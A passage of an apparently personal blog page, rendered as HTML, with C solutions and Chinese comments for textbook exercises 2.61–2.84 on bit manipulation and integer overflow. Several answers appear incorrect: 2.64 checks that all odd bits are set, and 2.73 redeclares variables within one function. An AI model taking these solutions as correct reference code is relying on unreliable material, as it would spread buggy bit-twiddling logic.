class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">D2_61</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> !((<span class=\"keyword\">unsigned</span>)x>>((<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<span class=\"number\">-1</span>)<<<span class=\"number\">3</span>));</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-62\"><a href=\"#2-62\" class=\"headerlink\" title=\"2.62\"></a>2.62</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">isRightShiftAreArithmetic</span><span class=\"params\">()</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> x = <span class=\"number\">-1</span>>><span class=\"number\">1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x==<span class=\"number\">-1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-63\"><a href=\"#2-63\" class=\"headerlink\" title=\"2.63\"></a>2.63</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">srl</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x, <span class=\"keyword\">int</span> k)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> xsra = (<span class=\"keyword\">int</span>)x>>k;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> xsra&(<span class=\"number\">1</span><<(<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)-k)<span class=\"number\">-1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">sra</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> k)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> xsrl = (<span class=\"keyword\">unsigned</span>)x>>k;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = ~<span class=\"number\">0</span>-(<span class=\"number\">1</span><<k)+<span class=\"number\">1</span> & x>>((<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> t|xsrl;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-64\"><a href=\"#2-64\" class=\"headerlink\" title=\"2.64\"></a>2.64</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">//题目中没有说bit从0开始计数还是从1开始，此处默认从0开始</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">anyOddOne</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (x&<span class=\"number\">0xaaaaaaaa</span>)==<span class=\"number\">0xaaaaaaaa</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-65\"><a href=\"#2-65\" class=\"headerlink\" title=\"2.65\"></a>2.65</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">oddOnesV1</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"comment\">//思路，用xor消掉成对的1，不成对的记录下来</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">16</span>;</span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">8</span>;</span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">4</span>;</span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">2</span>;</span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x>><span class=\"number\">31</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">oddOnesV2</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"comment\">//思路与上一个函数类似</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">1</span>;\t<span class=\"comment\">//思考的时候只考虑奇数位，不需要考虑偶数位（从1开始计数bit位）</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">2</span>;\t<span class=\"comment\">//只考虑mod4==0的位置</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">4</span>;\t<span class=\"comment\">//只考虑mod8==0的位置</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">8</span>;\t<span class=\"comment\">//只考虑mod16==0的位置</span></span><br><span class=\"line\">\tx ^= x<<<span class=\"number\">16</span>;\t<span class=\"comment\">//只考虑mod32==0的位置</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x>><span class=\"number\">31</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-66\"><a href=\"#2-66\" class=\"headerlink\" title=\"2.66\"></a>2.66</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">leftMostOne</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\tx |= x>><span class=\"number\">1</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">2</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">4</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">8</span>;</span><br><span class=\"line\">\tx |= x>><span class=\"number\">16</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x-(x>><span class=\"number\">1</span>);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-67\"><a href=\"#2-67\" class=\"headerlink\" title=\"2.67\"></a>2.67</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">intSizeIs32</span><span class=\"params\">()</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> INT_MAX==<span class=\"number\">0x80000000</span><span class=\"number\">-1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-68\"><a href=\"#2-68\" class=\"headerlink\" title=\"2.68\"></a>2.68</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">lowerOneMark</span><span class=\"params\">(<span class=\"keyword\">int</span> n)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = -!(n-(<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>));\t<span class=\"comment\">//方法1</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (<span class=\"number\">1</span><<n)<span class=\"number\">-1</span>&~t | t;</span><br><span class=\"line\"><span class=\"comment\">//\treturn ((n!=(sizeof(int)<<3))<<n)-1;\t//方法2</span></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-69\"><a href=\"#2-69\" class=\"headerlink\" title=\"2.69\"></a>2.69</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">rotateLeft</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x, <span class=\"keyword\">int</span> n)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"comment\">//移位sizeof*8不行，但是移位sizeof*8-1再移位1就可行了，上一题也可以这样搞</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x>>((<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">unsigned</span>)<<<span class=\"number\">3</span>)-n<span class=\"number\">-1</span>)>><span class=\"number\">1</span> | x<<n;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-70\"><a href=\"#2-70\" class=\"headerlink\" title=\"2.70\"></a>2.70</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">fitBits</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> n)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> x>>n<span class=\"number\">-1</span>==<span class=\"number\">0</span> | x>>n<span class=\"number\">-1</span>==<span class=\"number\">-1</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-71\"><a href=\"#2-71\" class=\"headerlink\" title=\"2.71\"></a>2.71</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">typedef</span> <span class=\"keyword\">unsigned</span> <span class=\"keyword\">pack_t</span>;</span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">xbyte</span><span class=\"params\">(<span class=\"keyword\">pack_t</span> word, <span class=\"keyword\">int</span> bytenum)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (<span class=\"keyword\">int</span>)word<<(<span class=\"number\">3</span>-bytenum<<<span class=\"number\">3</span>)>><span class=\"number\">24</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-73\"><a href=\"#2-73\" class=\"headerlink\" title=\"2.73\"></a>2.73</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">saturatingAdd</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"comment\">//方法一</span></span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = (<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> p = ((<span class=\"keyword\">unsigned</span>)x>>t)+((<span class=\"keyword\">unsigned</span>)y>>t)+((<span class=\"keyword\">unsigned</span>)x+y>>t);</span><br><span class=\"line\">\tt = ((<span class=\"keyword\">unsigned</span>)x>>t)+((<span class=\"keyword\">unsigned</span>)y>>t);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> -(p==<span class=\"number\">2</span>&&t!=<span class=\"number\">1</span>)&INT_MIN | -(p==<span class=\"number\">1</span>&&t!=<span class=\"number\">1</span>)&INT_MAX | -(p==<span class=\"number\">0</span>||t==<span class=\"number\">1</span>)&x+y | -(p==<span class=\"number\">3</span>||t==<span class=\"number\">1</span>)&x+y;</span><br><span class=\"line\"> </span><br><span class=\"line\">\t<span class=\"comment\">//方法二</span></span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = (<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> p = ((<span class=\"keyword\">unsigned</span>)x>>t<<<span class=\"number\">2</span>)|((<span class=\"keyword\">unsigned</span>)y>>t<<<span class=\"number\">1</span>)|((<span class=\"keyword\">unsigned</span>)x+y>>t);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> -(p==<span class=\"number\">6</span>)&INT_MIN | -(p==<span class=\"number\">1</span>)&INT_MAX | -(p!=<span class=\"number\">1</span>&&p!=<span class=\"number\">6</span>)&x+y;</span><br><span class=\"line\"> </span><br><span class=\"line\">\t<span class=\"comment\">//方法三（from http://blog.csdn.net/yang_f_k/article/details/8857904）</span></span><br><span class=\"line\">\t<span class=\"keyword\">int</span> w=<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> sum = x+y;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> mask = <span class=\"number\">1</span><<(w<span class=\"number\">-1</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> x_lmb = x&mask;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> y_lmb = y&mask;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> sum_lmb = sum&mask;</span><br><span class=\"line\">\t</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> neg_of = x_lmb && y_lmb && (!sum_lmb);</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> pos_of = !x_lmb && !y_lmb && sum_lmb;</span><br><span class=\"line\">\t</span><br><span class=\"line\">\t(pos_of &&(sum=INT_MAX)) || (neg_of && (sum = INT_MIN)); <span class=\"comment\">//这一条不错</span></span><br><span class=\"line\">\t<span class=\"keyword\">return</span> sum;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-74\"><a href=\"#2-74\" class=\"headerlink\" title=\"2.74\"></a>2.74</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">tsubOk</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> y)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = (<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> p = (<span class=\"keyword\">unsigned</span>)x>>t<<<span class=\"number\">2</span> | (<span class=\"keyword\">unsigned</span>)-y>>t<<<span class=\"number\">1</span> | (<span class=\"keyword\">unsigned</span>)x-y>>t;</span><br><span class=\"line\">\tt = y==INT_MIN;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> p!=<span class=\"number\">6</span> && p!=<span class=\"number\">1</span> && !t || t && p==<span class=\"number\">6</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-75\"><a href=\"#2-75\" class=\"headerlink\" title=\"2.75\"></a>2.75</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">unsigned</span> <span class=\"title\">unsignedHightProd</span><span class=\"params\">(<span class=\"keyword\">unsigned</span> x, <span class=\"keyword\">unsigned</span> y)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">unsigned</span> t = signed_high_prod(x, y);</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> l = (<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> t + (x>>l)*x+(y>>l)*y;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-76\"><a href=\"#2-76\" class=\"headerlink\" title=\"2.76\"></a>2.76</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">void</span>* <span class=\"title\">Calloc</span><span class=\"params\">(<span class=\"keyword\">size_t</span> nmemb, <span class=\"keyword\">size_t</span> size)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">size_t</span> t = nmemb*size;</span><br><span class=\"line\">\t<span class=\"keyword\">void</span> *p;</span><br><span class=\"line\">\t<span class=\"keyword\">if</span>(!size || t/size==nmemb){</span><br><span class=\"line\">\t\tp = <span class=\"built_in\">malloc</span>(t);</span><br><span class=\"line\">\t\t<span class=\"keyword\">if</span>(!p)<span class=\"keyword\">return</span> <span class=\"literal\">NULL</span>;</span><br><span class=\"line\">\t\t<span class=\"built_in\">memset</span>(p, <span class=\"number\">0</span>, t);</span><br><span class=\"line\">\t}<span class=\"keyword\">else</span> <span class=\"keyword\">return</span> <span class=\"literal\">NULL</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> p;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-77\"><a href=\"#2-77\" class=\"headerlink\" title=\"2.77\"></a>2.77</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">f2_77</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> k1 = (x<<<span class=\"number\">4</span>)+x;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> k2 = -(x<<<span class=\"number\">3</span>)+x;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> k3 = (x<<<span class=\"number\">6</span>)-(x<<<span class=\"number\">2</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> k4 = -(x<<<span class=\"number\">7</span>)+(x<<<span class=\"number\">4</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (k1==x*<span class=\"number\">17</span>)<<<span class=\"number\">3</span> | (k2==x*<span class=\"number\">-7</span>)<<<span class=\"number\">2</span> | (k3==x*<span class=\"number\">60</span>)<<<span class=\"number\">1</span> | k4==x*<span class=\"number\">-112</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-78\"><a href=\"#2-78\" class=\"headerlink\" title=\"2.78\"></a>2.78</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">dividePower2</span><span class=\"params\">(<span class=\"keyword\">int</span> x, <span class=\"keyword\">int</span> k)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> l = <span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>;</span><br><span class=\"line\">\tl = -(x>>l<span class=\"number\">-1</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (l<<k)-l+x >> k;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-79\"><a href=\"#2-79\" class=\"headerlink\" title=\"2.79\"></a>2.79</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">mul3div4</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\tx = (x<<<span class=\"number\">2</span>) - x;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> l = <span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = -(x>>l<span class=\"number\">-1</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (t<<<span class=\"number\">2</span>)-t+x >> <span class=\"number\">2</span>;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-80\"><a href=\"#2-80\" class=\"headerlink\" title=\"2.80\"></a>2.80</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">threefourths</span><span class=\"params\">(<span class=\"keyword\">int</span> x)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = x&<span class=\"number\">0x3</span>;</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t2 = -(x>>(<span class=\"keyword\">sizeof</span>(<span class=\"keyword\">int</span>)<<<span class=\"number\">3</span>)<span class=\"number\">-1</span>);</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> p = (x>><span class=\"number\">2</span>);</span><br><span class=\"line\">\tp = (p<<<span class=\"number\">1</span>)+p;</span><br><span class=\"line\">\tt = (t<<<span class=\"number\">1</span>)+t;</span><br><span class=\"line\">\tp += (t>><span class=\"number\">2</span>) + (t2&&t);</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> p;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-81\"><a href=\"#2-81\" class=\"headerlink\" title=\"2.81\"></a>2.81</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">hw281A</span><span class=\"params\">(<span class=\"keyword\">int</span> k)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> <span class=\"number\">0</span>-(<span class=\"number\">1</span><<k-!!k<<!!k);\t<span class=\"comment\">//k may equal to 0 or 32;</span></span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">hw281B</span><span class=\"params\">(<span class=\"keyword\">int</span> j, <span class=\"keyword\">int</span> k)</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\">\t<span class=\"keyword\">int</span> t = k+j;</span><br><span class=\"line\">\t<span class=\"keyword\">return</span> (<span class=\"number\">0</span>-(<span class=\"number\">1</span><<j-!!j<<!!j)) ^ (<span class=\"number\">0</span>-(<span class=\"number\">1</span><<t-!!t<<!!t));</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<h2 id=\"2-82\"><a href=\"#2-82\" class=\"headerlink\" title=\"2.82\"></a>2.82</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * A: NO; x== 0x10000000, B==rand();</span></span><br><span class=\"line\"><span class=\"comment\"> * B: Yes; </span></span><br><span class=\"line\"><span class=\"comment\"> * C: Yes; 因为，取反操作之后立刻截断与计算完之后再截断是等价的。</span></span><br><span class=\"line\"><span class=\"comment\"> * 可以两边都加上1，从而左右两个过程（截断之前）都是两个负数相加</span></span><br><span class=\"line\"><span class=\"comment\"> * D: Yes;</span></span><br><span class=\"line\"><span class=\"comment\"> * E: Yes;</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br></pre></td></tr></table></figure>\n<h2 id=\"2-83\"><a href=\"#2-83\" class=\"headerlink\" title=\"2.83\"></a>2.83</h2><p>$\\sum_{i=1}^{\\infty}Y<em>2^{-k</em>i}$</p>\n<h2 id=\"2-84\"><a href=\"#2-84\" class=\"headerlink\" title=\"2.84\"></a>2.84</h2><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span 